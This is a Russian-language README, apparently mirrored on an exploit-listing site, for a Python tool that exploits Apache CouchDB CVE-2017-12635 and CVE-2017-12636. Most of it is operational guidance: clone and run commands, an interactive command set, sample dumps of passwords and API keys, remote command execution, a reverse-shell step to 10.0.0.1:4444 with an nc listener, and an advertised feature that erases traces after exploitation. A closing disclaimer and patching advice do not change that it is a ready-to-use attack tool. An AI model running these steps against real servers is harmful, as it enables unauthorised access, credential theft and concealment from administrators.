Sploitus

couchdb-exploit

kitploit · 2026-08-23

Exploit Code

MARKDOWN273 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DARABIUM-COUCHDB-EXPLOIT
# 🚀 Эксплойт CouchDB - CVE-2017-12635 и CVE-2017-12636

![Python](https://img.shields.io/badge/Python-3.6+-blue.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg) ![CVE](https://img.shields.io/badge/CVE-2017--12635-red.svg) ![CVE](https://img.shields.io/badge/CVE-2017--12636-red.svg)

**Apache CouchDB - повышение привилегий и удалённое выполнение кода**

![GitHub stars](https://img.shields.io/github/stars/darabium/couchdb-exploit.svg) ![GitHub forks](https://img.shields.io/github/forks/darabium/couchdb-exploit.svg)

* * *

## 📖 Обзор

Этот инструмент эксплуатирует две критические уязвимости в Apache CouchDB:

CVE| Описание| Критичность  
---|---|---  
**CVE-2017-12635**|  Повышение привилегий через обход JSON-парсера| 🔴 Критический  
**CVE-2017-12636**|  Удалённое выполнение кода через Query Server| 🔴 Критический  
  
### Как это работает

  1. **CVE-2017-12635** : Использует несогласованность JSON-парсеров Erlang и JavaScript для создания учётной записи администратора
  2. **CVE-2017-12636** : Использует доступ администратора для настройки вредоносного Query Server и выполнения системных команд



* * *

## 🎯 Уязвимые версии

### Быстрая проверка

curl http://target:5984/

# If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE

✨ Возможности

root@kitploit:~
    
    
    ✅ Автоматическая эксплуатация - одна команда, чтобы править всеми
    
    ✅ Интерактивный shell - удобный командный интерфейс
    
    ✅ Просмотр баз данных - просмотр всех баз данных и документов
    
    ✅ Полный вывод JSON - просмотр полного содержимого документов
    
    ✅ Глобальный поиск - поиск по ключевым словам во всех базах данных
    
    ✅ Системные команды - выполнение произвольных команд на целевой системе
    
    ✅ Reverse shell - получение полноценного интерактивного shell
    
    ✅ История команд - отслеживание своих действий
    
    ✅ Автоматическая очистка - удаление следов после эксплуатации
    
    ✅ Цветной вывод - легко читать и понимать
    

📦 Установка Предварительные требования bash

# Python 3.6+ required

python3 --version

Клонирование и установка bash

# Clone the repository

git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit

# Install dependencies

pip install -r requirements.txt

Зависимости txt

requests>=2.25.0 urllib3>=1.26.0

🚀 Использование Базовое использование bash

# Simple exploit

python3 couchdb-exploit.py -t <TARGET_IP> -p 

# Example

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

Параметры командной строки bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)

💻 Команды

| Command Описание Пример | | db Показать все базы данных с количеством документов db | | view  Показать ВСЕ документы в базе данных (полный JSON) view passwords | | raw  Показать необработанный ответ сервера raw admin | | count  Подсчитать документы в базе данных count users | | search  Искать ключевое слово во ВСЕХ базах данных search admin | | exec  Выполнить системную команду exec whoami | | reverse  Настроить reverse shell reverse 10.0.0.1 4444 | | history Показать историю команд history | | help Показать это меню help | | exit Выйти с очисткой exit |

📊 Примеры

  1. Список всех баз данных bash



couchdb> db

[+] 39 databases:

  1. _replicator (0 docs)

  2. _users (12 docs)

  3. admin (5 docs)

  4. passwords (25 docs)

  5. core-configuration (8 docs) ...

  6. Просмотр содержимого базы данных bash




couchdb> view passwords

# [+] Viewing database: passwords

[*] Total documents: 25

## 📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "some-email@example.com", "role": "superadmin" }

  3. Поиск учётных данных bash



couchdb> search password

# [+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

  4. Выполнение системных команд bash



couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

  5. Reverse Shell bash



# On your machine (listener)

nc -lvnp 4444

# In the exploit

couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!

# You should get a shell on your listener!

🖼️ Скриншоты Эксплойт в действии

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Просмотр базы данных

https://via.placeholder.com/800x400?text=Database+View Reverse Shell

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Отказ от ответственности

root@kitploit:~
    
    
    ВАЖНО: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования.
    
        🚫 Не используйте на системах без явного разрешения
    
        🚫 Автор не несёт ответственности за любое неправомерное использование
    
        🚫 Используйте только в контролируемых средах или на собственных системах
    
        ✅ Всегда получайте письменное разрешение перед тестированием
    
        ✅ Соблюдайте практику ответственного раскрытия уязвимостей
    

Используя этот инструмент, вы соглашаетесь с этими условиями. 🔐 Советы по безопасности

Если вы системный администратор:

root@kitploit:~
    
    
    Немедленно обновите CouchDB до версии ≥ 1.7.0 или ≥ 2.1.1
    
    Используйте брандмауэр для ограничения доступа к порту 5984
    
    Включите аутентификацию и используйте надёжные пароли
    
    Отслеживайте журналы на предмет подозрительной активности
    
    Регулярно проводите аудит безопасности вашей инфраструктуры
    

Быстрое исправление bash

# Upgrade CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version

# Restrict access

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 Ссылки

root@kitploit:~
    
    
    CVE-2017-12635 - NVD
    
    CVE-2017-12636 - NVD
    
    Безопасность Apache CouchDB
    
    Exploit-DB
    

👤 Автор

darabium

root@kitploit:~
    
    
    GitHub: @darabium
    
    Telegram: @darabium
    

⭐ Поддержка

Если вы нашли это полезным:

root@kitploit:~
    
    
    ⭐ Поставьте звезду репозиторию
    
    🐛 Сообщайте об ошибках
    
    🔧 Вносите улучшения
    
    📢 Делитесь с другими
    

📄 Лицензия

Этот проект лицензирован в соответствии с MIT License — подробности см. в файле LICENSE.

Сделано с ❤️ для исследований в области безопасности

⬆ Наверх